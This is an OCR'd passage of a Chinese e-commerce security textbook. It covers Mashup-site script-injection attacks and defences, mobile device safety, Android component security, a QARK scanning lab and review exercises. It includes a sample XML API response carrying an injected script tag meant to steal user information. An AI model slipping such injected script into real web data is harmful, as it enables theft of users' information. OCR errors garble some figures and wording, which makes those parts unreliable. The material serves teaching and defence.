两 种 方式 混用 的 现象 很 普遍 。Mashup 网 站 的 数据 获取 如 图 11-12 所 示 。 


内 容 供应 商 


内 容 
供应 商 


<div id="name">bag</div> 


<div id="price">468</div> 


图 11-12 Mashup 网 站 的 数据 获取 


2. Mashup 网 站 攻击 


因为 同 源 规则 的 存在 ,用 户 访问 一 个 内 容 供应 商 网 站 ,从 这 个 内 容 供应 商 的 脚本 去 
访问 另 一 个 内 容 供应 商 的 脚本 是 不 可 能 的 。 可 是 在 Mashup 网 站 的 情况 下 ,所 有 的 内 容 
都 集中 在 一 个 网 站 上 ,都 在 同一 个 域名 上 执行 ,在 不 违反 同 源 规则 的 情况 下 也 可 以 互相 
访问 。 下 面 简单 说 明 一 下 这 种 情况 下 的 攻击 手段 。 

1) 服务 器 端 获取 时 的 攻击 手段 


< 
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设想 一 种 取得 XML 数据 ,然后 解释 成 HTML 方式 ,并 显示 输出 结果 的 情况 。 取 得 
的 XML 中 如 果 含 有 非法 脚本 ,通过 这 个 脚本 的 执行 就 可 以 访问 Mashup 网 站 上 的 数据 。 
假设 WebAPI 返回 了 下 面 的 数据 : 


< ?xml version= "1.0" encoding= "utf- 8" ?> 
< name> pc 
<! [CTATA[ 
< script> getuserinfo ()< /script> 
]]> 
< jname> 
< Price> 468< /price> 
< day> Sunday< /day> 


如 果 读 入 上 面 的 XML 文件 ,原封 不 动 地 把 name 标记 的 数据 显示 在 网 页 上 ,里 面 的 
脚本 就 会 被 执行 ,作为 结果 ,Mashup 网 站 里 的 信息 有 可 能 被 盗 取 。 

2) 浏览 器 端 获取 时 的 攻击 手段 

同上 面 服务 器 端 取 得 的 方式 类 似 , 浏 览 器 端 获取 方式 中 , 当 利 用 SCRIPT 标记 取得 
的 数据 中 含有 非法 脚本 时 ,利用 这 个 脚本 也 可 以 访问 Mashup 网 站 里 的 信息 。 不 过 ,利用 
服务 器 端 取 得 方式 时 ,如 果 设 置 得 当 , 可 以 在 服务 器 端 留 下 完整 的 日 志 信 息 , 以 备 日 后 审 
核 使 用 。 而 在 客户 端 取得 则 不 可 能 在 服务 器 上 留 下 日 志 , 因 此 浏览 器 端 取得 方式 的 危险 
之 处 在 于 即使 现在 取得 的 内 容 中 不 含有 恶意 代码 ,将 来 的 某 一 时 点 可 能 会 突然 出 现 。 并 
且 , 攻 击 者 如 果 在 实施 了 攻击 后 改 回 到 正常 的 状态 下 ,不 会 留 下 任何 痕迹 ,很 难 发 现 曾经 
被 攻击 过 ,如 图 11-13 所 示 。 


内 容 供应 商 
全 
<xml> 和 
<name>bag 
<![CDATA[ 
<script>stealuserinfo() 
<HTML> /script>]]> 
<div id="name">bag S/name> — 
<script>stealuserinfo()</script> <price>468</price> 
</div> <day>Monday</day> 
<div id="price">468</div> IE 
er nom ë 
</script> 


图 11-13 Mashup 网 站 的 攻击 


3. Mashup 网 站 的 安全 对 策 
在 构建 Mashup 网 站 时 首先 要 考虑 好 如 何 使 用 内 容 供应 商 网 站 提供 的 信息 。 单 纯 用 
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来 显示 输出 的 情况 下 ,使 用 IFRAME 显示 就 足够 。 因 为 IFRAME 是 不 能 访问 不 同 域名 
下 的 内 容 的 ,这 样 就 不 用 太 多 其 他 的 安全 对 策 。 

如 果 除 了 显示 输出 外 ,还 需要 做 一 些 加 工 以 及 和 别 的 内 容 组 合 的 话 , 就 应 该 只 从 可 
以 信赖 的 内 容 供应 商 网 站 取得 信息 。 如 果 内 容 供 应 商 网 站 虽然 不 能 完全 信赖 ,但 还 是 想 
利用 其 提供 的 信息 ,就 应 该 在 服务 器 端 取 得 信息 后 进行 无 害 化 处 理 ( 校 验 、 转 义 等 ), 然 后 
再 送 往 页 面 使 用 。 如 果 利 用 JSONP 这 样 的 客户 端 直 接 读 取 的 方式 ,内 容 检查 会 变 得 很 
困难 。 

另外 ,很 多 WebAPI 是 通过 HTTP 而 不 是 HTTPS 公开 的 ,存在 着 被 窃听 和 修改 的 
风险 。 对 于 安全 性 要 求 比 较 高 的 信息 应 尽 可 能 采用 HTTPS 来 公开 。 

后 讨论 思考 

(1) 针对 开放 WEBAPI 接口 的 安全 问题 有 哪些 ? 试 着 找 找 看 。 

(2) 分 析 Mashup 网 站 的 安全 问题 和 对 策 。 


114 智能 移动 终端 设备 的 安全 问题 及 解决 方案 


随 着 无 线 互 联网 ,智能 手机 及 各 种 平板 电脑 的 迅速 普及 ,几乎 所 有 的 电子 商务 活动 
都 可 以 通过 智能 移动 设备 来 进行 。 据 新 华 网 报道 ,2015 年 “ 双 11” 购 物 节 , 阿 里 巴巴 平台 
一 天 的 交易 额 达到 912. 17 亿 元 人 民 币 ,其 中 无 线 交 易 额 为 626. 42 亿 元 , 占 68.67%。 而 
与 此 同时 ,与 以 前 的 非 智能 移动 设备 只 是 会 收 到 一 些 骚 扰 电 话 或 者 垃圾 短信 相 比 ,现在 
的 智能 设备 上 的 一 些 非法 应 用 会 在 不 知 不 党 中 资 走 你 的 用 户 名 、 密 码 和 银行 卡号 等 重要 
信息 ,甚至 偷偷 转 走 你 账户 上 的 钱 。 

【案例 11-3] iOS 多 款 App 感染 病毒 。 一 向 号 称 全 球 最 安全 的 苹果 系统 出 现 了 安 
全 问题 1 2015 年 9 月 16 日 ,CNCERT 国家 互联 网 应 急 中 心 发 布 XcodeGhost 病毒 安全 
风险 预警 ,AppleStore 上 超过 4000 多 款 应 用 中 招 , 包 括 微 信 、 网 易 云 音乐 .网易 公 开课 、 
同花顺 、 南 京 银 行 、 南 方 航空 ,中信 银 行动 卡 空间 等 等 人 们 比较 熟知 的 应 用 ,安装 上 述 应 
用 的 iPhone/iPad 用 户 或 有 可 能 泄露 基本 信息 , 受 影响 用 户 超过 1] 亿 ! 

此 次 安全 事件 感染 源 在 于 苹果 集成 开发 工具 Xcode, 从 非 官 方 渠道 下 载 的 Xcode 中 
被 植 入 病毒 ,然后 借 程序 员 之 手 将 恶意 代码 植 入 正在 编译 的 App 之 中 , 相 比 为 数 众 多 的 
直接 将 恶意 代码 植 入 应 用 程序 中 的 安全 案例 而 言 , 这 种 情况 实 属 少见 而 且 防不胜防 。 


1141 智能 移动 终端 设备 的 安全 使 用 


利用 智能 移动 设备 的 电子 商务 活动 的 安全 性 很 大 程度 上 取决 于 设备 的 使 用 方法 ,只 
要 遵守 安全 的 使 用 方法 ,大 量 的 安全 隐患 就 会 被 拒 之 门 外 , 在 享受 移动 设备 带 来 的 便利 
和 高 效 的 同时 也 不 需要 承担 太 多 的 风险 。 


1. SIM 卡 锁定 
手机 的 SIM 卡 都 带 有 锁定 功能 ,这 是 手机 安全 的 第 一 道 防线 。 启 用 了 这 个 功能 后 ， 
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每 次 打开 手机 电源 时 都 会 要 求 输入 密码 ,否则 就 不 能 使 用 手机 ,这 样 即使 手机 被 盗 或 者 
丢失 也 能 一 定 程度 减少 信息 被 盗 的 风险 。 


2. 屏幕 锁定 


手机 、 平 板 等 智能 移动 设备 都 带 有 屏幕 锁定 功能 ,应 该 加 以 设置 。 有 些 用 户 为 了 方 
便 省 事 , 不 设 屏幕 锁定 功能 ,万 一 手机 丢失 或 者 有 恶意 偷 窒 者 ,都 可 以 简单 地 看 到 手机 保 
存 的 内 容 。 对 于 安 卓 手机 使 用 图 案 锁 屏 的 ,还 要 尽量 设计 复杂 些 的 图 案 。 另 外 ,在 公共 
场合 使 用 后 要 注意 擦拭 一 下 手机 ,因为 手机 表面 难免 有 灰尘 和 汗 迹 等 ,其 他 人 很 容易 通 
过 屏幕 留 下 的 痕迹 看 到 锁 屏 图 案 。 


3. 慎 用 免费 WiFi 和 无 加 密 防 护 WiFi 


使 用 免费 或 没有 加 密 防护 的 WiFi 网 络 ,通信 内 容 极 易 被 监听 和 算 改 。 若 是 连 上 了 
非法 WiFi, 手 机 还 可 能 遭 到 攻击 和 被 植 信 木马。 使 用 “WiFi 万 能 钥匙 ”免费 WiFi” 等 软 
件 并 不 安全 ,其 相当 于 一 个 公用 数据 库 ,收集 和 分 享 大 家 掌握 的 WiFi 网 络 和 密码 。 若 使 
用 此 类 软件 ,你 所 掌握 的 WiFi 密码 自然 也 有 可 能 被 与 他 人 分 享 。 若 被 别有用心 的 人 由 
此 连 上 了 你 的 路 由 器 并 监听 其 中 数据 ,那么 ,你 的 网 络 访问 便 也 毫 无 安全 可 言 。 如 果 一 
定 要 使 用 免费 的 WiFi, 可 以 通过 一 个 可 信赖 的 VPN 服务 器 ,利用 VPN 来 访问 自己 的 网 
银 等 重要 网 站 是 一 个 可 行 的 解决 方案 。 


4. 加 密 移动 设备 的 数据 


对 于 移动 设备 上 的 重要 数据 可 以 加 密 处 理 , 利 用 比如 照片 视频 保管 专家 等 软件 给 文 
件 加 密 。 即 使 手机 被 人 盗 取 ,没有 密码 也 很 难 破解 上 面 的 数据 。 当 然 自 己 要 利用 这 些 数 
据 的 时 候 也 要 预先 解密 ,然后 才 可 以 使 用 ,使 用 后 也 必须 完成 加 密 操作 。 虽 然 增加 了 操 
作 步 又 ,显得 有 些 麻烦 ,但 比 起 重要 数据 被 窃取 来 说 ,这 点 麻烦 还 是 值得 的 。 


5. 慎重 破解 智能 终端 操作 系统 


这 里 的 破解 ,对 于 iOS 系统 , 指 的 是 通常 人 们 说 的 “越狱 *; 对 于 安 卓 系统 ,就 是 
ROOT 等 提高 权限 的 操作 。 破 解 后 的 系统 可 实现 自由 安装 软件 .卸载 程序 .自由 分 配 系 
统 权 限 和 资源 等 功能 。 然 而 ,在 系统 被 破解 后 ,系统 更 新 通常 也 无 法 正常 运行 ,以 致 系统 
新 发 现 的 缺陷 和 安全 漏洞 无 法 及 时 修补 ,也 大 大 增加 了 遭遇 恶意 程序 和 木马 病毒 的 风 
险 , 严 重 影响 智能 终端 安全 。 同 时 恶意 程序 或 软件 也 可 以 获得 系统 最 高 权限 , 带 来 更 大 
的 安全 隐患 。 所 以 ,在 可 能 的 情况 下 ,选择 满足 自己 需求 的 合适 的 手机 ,而 尽量 不 通过 破 
解 操作 系统 的 方式 来 提高 手机 的 可 用 性 。 


6. 避免 安装 来 源 不 明 的 应 用 程序 


安 卓 系统 本 身 可 以 安装 各 种 来 源 的 应 用 程序 ,iOS 系统 “越狱 "后 也 可 以 安装 Apple 
Store 以 外 的 应 用 ,但 如 果 不 能 保证 该 应 用 是 安全 的 ,最 好 不 要 贸然 安装 ,更 不 能 随意 下 
载 . 随 意 安装 。 安 装 应 用 前 ,最 好 利用 互联 网 搜索 该 应 用 的 评价 ,判断 是 否 存在 恶意 链接 
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和 病毒 程序 ,以 及 是 否 有 收费 广告 插件 等 ,在 功能 类 似 的 应 用 中 寻找 最 干净 、 最 安全 的 
应 用 。 


7. 安装 杀毒 软件 


近 几 年 针对 安 卓 系统 的 各 种 病毒 .木马 软件 频 现 ,虽然 各 个 厂家 的 安 卓 设备 都 自 带 
各 种 安全 软件 ,但 是 第 三 方 的 一 些 安全 软件 功能 更 全 面 ,防范 更 专业 ,性 能 更 优越 也 是 事 
实 。 选 择 安装 一 款 性 能 较 好 的 安全 软件 ,并 定期 查 杀 和 扫描 机 器 是 有 必要 的 。 


8. 确认 应 用 程序 需要 的 权限 


安 卓 系统 的 应 用 在 安装 时 会 提醒 用 户 所 需要 的 权限 ,用 户 往往 会 匆匆 一 扫 就 接受 它 
的 所 有 要 求 的 权限 。 其 实在 安装 的 每 一 个 步骤 时 ,都 要 慎重 地 按 下 确认 键 。 如 果 一 个 功 
能 单一 明确 的 应 用 却 要 求 诸如 用 户 的 电话 本 ,发 送信 息 、 网 络 控制 等 无 关 功能 的 话 ,就 应 
该 确认 一 下 它 是 不 是 恶意 软件 ,否则 联系 人 等 重要 数据 情报 丢失 后 再 找 原因 就 为 时 
已 晚 。 


9. 不 使 用 时 关闭 蓝牙 功能 和 GPS 


打开 蓝牙 功能 , 别 的 智能 设备 就 可 以 看 见 你 的 手机 ,就 多 了 一 份 被 攻击 的 可 能 性 。 
而 GPS 定位 系统 则 会 暴露 用 户 的 位 置信 息 。 许 多 软件 会 收集 这 些 位 置信 息 , 当 积 累 到 一 
定量 ,通过 分 析 很 容易 推断 出 用 户 的 工作 地 点 、 工 作 性 质 、 家 庭 住址 和 生活 规律 等 信息 。 
男 外 利用 手机 拍摄 的 照片 也 会 将 时 间 和 空间 信息 存 于 其 中 ,如 若 原 封 不 动 共享 在 朋友 圈 
等 位 置 ,也 会 给 你 的 隐私 和 文件 资料 安全 造成 威胁 。 因 此 ,在 没有 需求 的 情况 下 ,最 好 关 
闭 相 机 的 位 置 标签 功能 和 GPS 开关 。 另 外 ,GPS 和 蓝牙 一 直 处 于 打开 状态 ,也 会 增加 电 
量 消耗 ,缩短 设备 使 用 时 间 。 


10. 不 要 轻易 扫描 来 路 不 明 的 二 维 码 


扫描 二 维 码 是 一 种 便捷 的 操作 手段 ,可 实现 商品 信息 快速 查询 、 链 接 快速 跳 转 、 网 络 
购物 .手机 支付 和 产品 推广 等 功能 。 然 而 , 单 从 二 维 码 本 身 并 看 不 出 其 中 隐藏 了 什么 内 
容 , 这 也 正好 成 了 一 些 别 有 用 心 之 人 可 钻 的 空子 。 他 们 将 恶意 程序 和 木马 病毒 制作 成 二 
维 码 在 网 络 上 大 肆 传 播 , 一 旦 用 户 扫描 ,手机 便 会 在 后 台 自 动 下 载 并 安装 病毒 程序 ,从 而 
威胁 用 户 的 隐私 和 财产 安全 。 因 此 ,扫描 二 维 码 前 一 定 要 确定 其 来 源 ,必要 时 ,可 使 用 一 
些 二 维 码 安全 鉴别 软件 来 识别 恶意 二 维 码 。 


1142 开发 安全 的 安 卓 应 用 


众所周知 ,iOS 是 一 个 封闭 的 操作 系统 ,由 于 硬件 比较 封闭 ,操作 系统 只 能 运行 在 自 
身 的 硬件 平台 上 ,代码 是 闭 源 的 ,整个 安全 框架 构建 也 较 好 ,因而 iOS 整体 的 安全 性 是 比 
较 好 的 。 而 安 卓 则 不 同 , 它 开放 了 很 多 的 权限 与 接口 ,用 户 的 自 定义 性 很 强 , 生 产 厂 家 和 
用 户 都 可 以 根据 自己 的 需要 和 习惯 改写 界面 甚至 底层 接口 。 这 种 高 度 的 开放 性 也 同时 
给 安 卓 的 安全 保障 带 来 了 一 个 问题 : 安全 性 不 好 的 安 卓 应 用 或 代码 会 导致 系统 安全 风险 
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大 幅 上 升 。 

安 卓 应 用 程序 中 最 常用 的 是 Activity .Broadcast.Content Provider 和 Service 这 4 种 
组 件 。 每 种 组 件 都 有 其 不 同 的 安全 特性 ,如 果 不 了 解 这 些 特性 ,就 有 可 能 留 下 安全 隐患 。 
本 节 就 对 这 些 组 件 的 安全 使 用 做 简单 的 说 明 。 


1. 组 件 的 公开 与 非 公 开 


上 面 的 4 个 组 件 中 都 有 一 个 属性 exported, 如 果 将 exported 定义 为 false, 这 个 组 件 
就 被 定义 为 非 公 开 组 件 ,只 能 和 同一 个 应 用 中 的 组 件 交 互 ; 反 之 为 公开 组 件 ,可 以 和 其 他 
应 用 交互 。 如 果 组 件 定 义 了 intent-filter,exported 的 默认 值 为 true; 没 有 intent-filter 默 
认 值 为 false。 从 安全 的 角度 来 考虑 ,除非 必须 公开 ,否则 把 组 件 设 为 非 公开 是 比较 安全 
的 做 法 。 


2. Activity 安全 


每 个 Activity 都 有 taskAffinity 属性 ,这 个 属性 指出 了 它 希望 进入 的 Task。 默 认 的 
情况 下 Activity 的 taskAffinity 的 值 就 等 于 包 名 ,因为 Task 是 以 应 用 为 单位 分 配 的 , 同 
一 个 应 用 内 的 所 有 Activity 都 属于 同一 个 Task。 而 当 变 更 Task 后 , 送 往 Activity 的 
Intent 就 有 可 能 被 别 的 应 用 所 读 取 。 所 以 通常 情况 下 不 应 该 改变 默认 的 taskAffinity 属 
性 。launchMode 和 Intent 的 FLAG_ACTIVITY_NEW_TASK 的 作用 也 类 似 , 必 须 适 
当 设 置 这 两 个 参数 ,减少 不 必要 的 Task 生成 。 

Activity 可 以 通过 在 AndroidManifest. xml 中 添加 permission 属性 来 设置 启动 时 所 
要 的 权限 ,防止 被 没有 取得 相应 权限 的 应 用 程序 启动 。 

另外 ,Activity 接收 到 的 其 他 应 用 通过 Intent 传递 的 内 容 如 果 不 能 确保 是 安全 的 ,就 
必须 先 对 其 内 容 进行 检查 ,确认 安全 后 才 可 以 利用 。 


3. Broadcast 安全 


Broadcast 可 以 从 发 送 方 和 接收 方 两 个 方面 加 以 保护 ,发 送 方 可 以 通过 为 Broadcast 
Intent 设置 权限 来 限制 接收 广播 的 对 象 , 而 接收 方 Receiver 也 可 以 设 定 发 送 方 的 权限 ， 
防止 收 到 危险 的 Broadcast Intent, 

一 般 的 Broadcast 在 发 送 的 信息 被 接收 后 就 会 被 丢弃 ,而 Sticky Broadcast 则 比较 特 
殊 ,被 接收 后 会 继续 在 系统 中 存在 ,发送 的 信息 也 可 以 被 包括 恶意 程序 在 内 的 其 他 应 用 
所 持续 接收 ,因此 不 应 该 在 Sticky Broadcast 中 包含 敏感 信息 。 

另外 使 用 Ordered Broadcast 时 ,因为 优先 级 高 的 应 用 可 以 终止 广播 意图 的 继续 传 


播 , 使 优先 级 低 的 应 用 接收 不 到 广播 内 容 , 所 以 也 要 注意 防止 恶意 软件 利用 这 一 特点 , 破 
坏 其 他 应 用 的 正常 运行 。 


4. Content Provider 安全 


Content Provider 是 一 种 常用 的 为 其 他 应 用 程序 提供 数据 的 访问 方式 ,因而 很 少 可 
以 设置 为 非 公开 组 件 。 安 卓 为 Content Provider 设计 了 更 复杂 的 安全 机 制 ,把 Content 
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Provider 的 读 和 写 权限 分 开 了 , 当 授 予 应 用 写 权 限时 应 用 并 不 会 自动 获得 读 权限 。 在 
AndroidManifest. xml 中 分 别 通 过 readPermission 和 writePermission 授权 应 用 于 读 和 
写 权限 。 但 读 写 这 种 授权 方式 一 旦 授予 就 对 Content Provider 内 所 有 数据 有 效 ,如果 只 
想 开 放 部 分 URI 的 权限 ,可 以 通过 设置 path-permission 来 实现 。 

如 果 一 个 Content Provider 既 想 保护 它 的 读 写 权 限 , 而 同时 与 它 对 应 的 直属 客户 端 
也 需要 将 特定 的 URI 传递 给 其 他 应 用 程序 ,以 便 其 他 应 用 程序 对 该 URI 进行 操作 ,这 时 
就 需要 通过 android:grantUriPermissions 或 者 二 granturi-permissions 二 标签 来 声明 支 
持 这 种 权限 的 传递 。 


5. Service 安全 


Service 是 基于 后 台 运 行 的 组 件 ,常常 涉及 更 新 数据 库 ,提供 事件 通知 等 操作 ,首先 一 
定 要 通过 在 AndroidManifest. xml 的 Service 标签 中 添加 permission 属性 来 限定 访问 者 
的 范围 。 这 可 以 有 效 地 控制 对 Service 的 启动 停止 和 绑 定 操作 ,如 果 要 进一步 控制 对 内 
容 的 访问 ,就 要 在 代码 层 进一步 增加 权限 验证 。 

如 果 访 问 Service 的 应 用 中 包含 敏感 信息 ,也 要 对 被 访问 的 Service 的 安全 性 进行 验 
证 ,不 要 轻易 把 Intent 传递 给 一 个 公有 的 ,未 知名 的 Service, 尽 可 能 在 传递 的 Intent 中 指 
明 Service 的 完整 类 名 。 更 安全 的 做 法 是 建立 一 个 可 利用 Service 的 白 名单 ,保存 白 名 单 
中 Service 的 证 书 或 证 书 的 散 列 值 ,使 用 时 对 比 该 值 ,以 防止 恶意 程序 伪装 的 Service 被 
调用 。 

ED 讨论 思考 

(1) 调查 一 下 自己 使 用 的 移动 终端 为 保护 使 用 安全 做 了 哪些 设置 或 配置 。 

(2) 开发 一 个 安 卓 应 用 ,体会 各 组 件 的 安全 设置 方法 。 
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1151 实验 目的 


根据 IDC 发 布 的 2014 年 智能 手机 出 货 量 数据 , 安 卓 出 货 量 为 10. 59 亿 部 ,同比 增长 
32% ,市 场 份额 为 81. 5%。 而 根据 应 用 跟踪 平台 appFigures 的 报道 ,2014 年 ,谷歌 Play 
Store 的 应 用 数量 达到 了 143 万 ,首次 超过 Apple Store 的 121 万 。 大 量 的 免费 安 卓 应 用 
给 人 们 带 来 了 极 大 的 便利 的 同时 ,也 带 来 了 一 些 安全 隐患 ,一 些 应 用 虽然 本 身 并 不 是 恶 
意 软 件 ,但 开发 者 的 考虑 不 周 或 朴 忽 会 使 一 些 应 用 成 为 恶意 软件 作恶 的 帮手 。 本 试验 将 
通过 一 款 免费 的 安 卓 应 用 漏洞 检测 工具 QARK(Quick Android Review Kit) ,来 检测 自 
己 编写 的 或 者 从 应 用 商店 下 载 的 应 用 中 存在 的 薄弱 环节 ,给 安 卓 应 用 开发 者 和 使 用 者 提 
供 安全 上 的 指引 。 

本 实验 的 主要 目的 有 以 下 3 个 : 

(1) 学 习 检 测 工具 QARK 的 使 用 。 

(2) 学 习 QARK 检测 结果 的 解读 。 
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(3) 加 深 对 网 站 各 种 安全 威胁 的 认识 。 
1152 实验 要 求 及 注意 事项 
1. 实验 设备 


本 试验 使 用 一 台 安装 有 Ubuntu Linux 操作 系统 的 计算 机 ,要 求 系统 软件 为 python 
2.7.6 B. JRE 1.6 达到 以 上 。 


2. 注意 事项 


1) 预习 准备 

由 于 本 实验 中 使 用 的 操作 系统 和 软件 大 家 可 能 不 太 熟 悉 , 可 以 提前 查找 资料 对 这 些 
软件 的 功能 和 使 用 方法 做 一 些 学 习 , 以 实现 对 试验 内 容 的 更 好 理解 。 

2) 注意 弄 懂 实 验 原理 、 理 解 各 步骤 的 含义 

对 于 操作 的 每 一 步骤 要 着 重 理解 其 原理 ,生成 的 评估 报告 要 着 重 理解 其 含义 ,并 理 
解 为 什么 会 产生 这 种 评估 结果 ,对 于 真正 的 漏洞 要 知道 如 何 补救 。 

实验 用 时 : 2 学 时 (90 一 120 分 钟 ) 。 


1153 实验 内 容 及 步骤 

试验 内 容 主 要 包括 下 载 和 安装 检测 工具 、 检 测 安 卓 应 用 和 分 析 检 测 结果 3 个 步骤 ， 
下 面 将 分 步 进行 说 明 。 

1. 下 载 和 安装 检测 工具 

LinkedIn 在 GitHub 上 公布 了 QARK 的 源 代码 ,可 以 直接 去 以 下 网 址 下 载 : 


https://github. com/linkedin/qark。 下 载 后 直接 解压 , 放 在 选 定 的 目录 下 ,比如 放 在 自 
己 的 home 中 即 可 。 


2. 检测 Android 应 用 

执行 下 面 的 命令 即 可 启动 检测 工作 。 

S python cark.py 

QARK 既 可 以 检测 apk 文件 ,也 可 以 检测 Android 源 代 码 ,根据 提示 指定 要 检测 
的 对 象 就 可 以 了 。 这 里 选择 检测 源 代 码 , 并 指定 项 目的 根 目录 为 /home/ub/app, 如 
图 11-14 所 示 。 

指定 目录 后 ,QARK 会 首先 寻找 AndroidManifest. xml 文件 ,并 对 其 中 的 provider, 


activity、services、receivers 等 的 配置 进行 逐一 分 析 。 分 析 完 这 个 文件 后 会 对 项 目 中 所 有 
Java 文件 和 XML 文件 进行 分 析 。 
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SDK installation frol 


1 directoru for the project or decompiled APK:/home/ub 


图 11-14 执行 QARK 的 画面 


3. 分 析 检 测 结果 ,生成 检测 报告 


当 检 测 完 成 后 ,默认 会 把 所 有 的 日 志 写 入 QARK 下 logs 目录 下 的 info. log 中 ,检测 
结果 会 被 整理 成 一 个 HTML 文件 , 放 在 report 目录 下 的 report. html 中 。report. html 
把 检测 到 的 所 有 问题 归纳 到 一 起 ,并 对 每 个 问题 加 以 简单 的 说 明 , 如 图 11-15 及 图 11-16 


所 示 。 


Information 


STATIC CODE ANALYSIS RESULT 
a SOURCE: /home/ub/app8/ 


me wamines Informational Dh 


图 11-15 QARK 检测 后 的 分 析 结果 (1) 


116 本 章 小 结 


本 章 介 绍 了 电子 商务 安全 的 概念 、 类 型 .要素 以 及 内 容 , 介 绍 了 电子 商务 应 用 程序 中 
常见 注入 式 SQL 攻击 和 跨 站 脚本 攻击 等 常见 的 安全 问题 和 对 策 。 并 在 此 基础 上 对 常见 
的 Ajax、WebAPI、Mashup 等 Web 2.0 服务 中 可 能 出 现 的 安全 问题 加 以 剖析 ,提出 了 相 
应 的 对 策 。 还 对 移动 设备 的 使 用 安全 及 常见 安 卓 组 件 在 开发 中 的 安全 应 用 作 了 简单 介 
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Information = 


The following receiver are exported, but not protected by any permissions. Failing to protect receiver 
Dashboard could leave them vulnerable to attack by malicious apps. The receiver should be reviewed for 


Manifest » MediaButtonlntentReceiver 


* RockOnAppWidgetProvider 


Failing to protect service. 
# 


Cryptobugs 区 到 ] 


图 11-16 QARK 检测 后 的 分 析 结 果 (2) 


绍 。 最 后 通过 一 款 开源 软件 QARK 的 使 用 ,介绍 了 对 安 卓 应 用 进行 安全 检测 的 方法 。 


117 练习 与 实践 十 一 


1. 选择 题 
(1) 下 面 ( ) 不 是 网 站 攻击 方式 。 
A. 注入 式 SQL B. XSS C. DDoS D. HTTPS 


(2) 下 面 关于 使 用 恶意 脚本 攻击 的 说 法 ( ) 是 错误 的 。 
A. 只 要 严格 遵守 同 源 策略 ,就 可 以 阻止 跨 站 脚本 攻击 的 发 生 
B. 跨 站 脚本 攻击 通常 是 由 于 一 些 网 站 自身 的 缺陷 造成 的 
C. 恶意 脚本 除了 可 以 窃取 用 户 信息 外 ,也 可 能 在 用 户 的 机 器 上 安装 非法 软件 
D. 除了 网 站 运营 者 要 加 强 恶意 脚本 的 对 策 外 ,普通 用 户 也 要 进行 恶意 脚本 防范 
(3) 下 面 常 用 于 WebAPI 的 数据 接口 有 ( ) 。( 可 多 选 ) 
A. XML B. JSON C. REST D. Ajax 
(4) Mashup 网 站 应 该 尽 可 能 采用 下 面 ( ) 方 式 来 加 强 安全 。( 可 多 选 ) 
A. 在 服务 器 端 对 取得 的 内 容 进行 检查 验证 
B. 保留 取得 内 容 的 日 志 
C. 只 使 用 可 信赖 网 站 提供 的 信息 
D. 尽 可 能 使 用 IFRAME 显示 取得 的 各 个 网 站 的 内 容 


2. 填空 题 


(1) 常见 的 注入 式 SQL 攻击 对 策 有 使 用 和 两 种 。 
(2) 原则 上 Wiki 并 不 进行 认证 ,属于 谁 都 可 以 更 新 的 一 种 服务 。 作 为 补救 手段 ,每 
次 变更 的 和 都 被 记录 下 来 ,以 备查 询 。 
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(3) 在 电子 商务 活动 中 ,造成 交易 各 方 电子 数据 差异 的 原因 主要 有 如 下 几 种 可 能 : 
数据 录入 或 显示 时 的 \ 意 外 差错 或 蓄意 :数据 传输 过 程 中 的 ; 
片段 缺失 或 信息 次 序 的 等 。 

(4) 应 用 程序 在 客户 端 通过 JavaScript 验证 输入 ,虽然 ,方便 用 户 ,但 是 客 
户 端 JavaScript 可 以 被 ,即使 在 客户 端 验证 完 的 内 容 , 在 服务 器 端 也 必须 重新 
验证 。 

(5) 利用 认证 API 的 过 程 中 主要 有 3 个 角色 ,分 别 是 和 普通 
用 户 。 

(6) Ajax 简单 地 讲 就 是 使 用 JavaScript 和 XML 利用 进行 信息 交换 的 
方式 。 

3. 简 答 题 


(1) 电子 商务 安全 技术 要 素 有 哪些 ? 

(2) 建设 和 维护 博客 网 站 时 需要 考虑 哪些 安全 问题 ? 

(3) 规范 注入 式 SQL 攻击 有 哪些 方法 ? 并 具体 描述 各 种 方法 。 
(4) 实现 跨 站 访问 有 哪些 方法 ? 各 有 什么 优 缺点 ? 

(5) 提供 用 户 体验 型 的 网 络 服务 要 注意 哪些 安全 问题 ? 


4. 实践 应 用 题 


(1) 找 出 一 些 提供 WebAPI 的 网 站 ,并 确认 它们 提供 的 数据 格式 。 
(2) 找到 一 个 可 信赖 的 VPN 服务 器 ,使 用 免费 WiFi 时 试 着 通过 VPN 来 访问 网 络 。 
(3) 在 网 上 寻找 功能 和 QARK 类 似 的 开源 扫描 软件 ,并 学 会 使 用 。 


第 12 =e = | J. aaa 
网 络 安全 解决 方案 及 应 用 


网 络 安全 实际 上 应 当 属 于 网 络 安全 工程 ,需要 综合 各 方面 因素 统筹 兼顾 。 为 了 更 加 
全 面 、 系 统 、 综 合 地 运用 网 络 安全 技术 ,更 好 地 解决 网 络 安全 工程 中 的 实际 问题 ,还 需要 
掌握 对 “网 络 安全 解决 方案 "的 分 析 、 设 计 、 实 施 和 编写 。“ 网 络 安 全 解决 方案 ”涉及 网 络 
安全 技术 ,策略 和 管理 等 多 方面 ,具体 的 构建 影响 到 整个 网 络 系统 安全 建设 的 质量 .机 构 
的 网 络 系统 的 安危 以 及 用 户 信息 的 安全 。 


教学 目标 


。 了 解 网 络 安全 解决 方案 的 概念 、 制 定 过 程 和 要 点 。 
。 理解 网 络 安全 解决 方案 的 分 析 要 求 和 主要 任务 。 
。 理解 网 络 安全 解决 方案 设计 原则 和 质量 标准 。 

。 掌握 网 络 安全 解决 方案 的 分 析 与 设计 、 应 用 与 编写 。 
。 了 解 实 施 方案 .技术 支持 和 检测 报告 。 


121 网 络 安全 解决 方案 概述 


【案例 12-1】 网 络 安全 解决 方案 在 网 络 安全 工作 的 实际 应 用 中 极为 重要 。 某 省 级 
电力 集团 有 限 公 司 以 前 由 于 没有 构建 完整 的 企业 整体 网 络 安全 解决 方案 ,致使 电力 企业 
网 络 电力 调度 与 数据 传输 系统 和 控制 系统 等 不 断 发 生 一 些 网 络 安全 问题 ,网 络 安全 管理 
人 员 一 直 疲 于 应 付 ,“ 头 痛 医 头 , 脚 痛 医 脚 "。 自 从 构建 了 整体 网 络 安 全 解决 方案 并 进行 
有 效 实施 后 ,情况 大 为 改观 。 


Dll 网 络 安全 方案 的 概念 和 特点 


1. 网 络 安全 方案 的 相关 概念 


网 络 安全 方案 是 指 网 络 安全 工程 中 ,针对 机 构 的 网 络 安全 方面 存在 的 具体 实际 问 
题 ,在 网 络 系统 的 安全 性 分 析 、 设 计 和 具体 实施 过 程 中 所 采用 的 各 种 安全 技术 、 方 式 、 方 
法 策略、 措施、 安排 和 管理 文档 等 。 

网 络 安全 解决 方案 是 指 解 决 各 种 网 络 系 统 安全 问题 的 综合 技术 、 策 略 和 方法 的 具体 
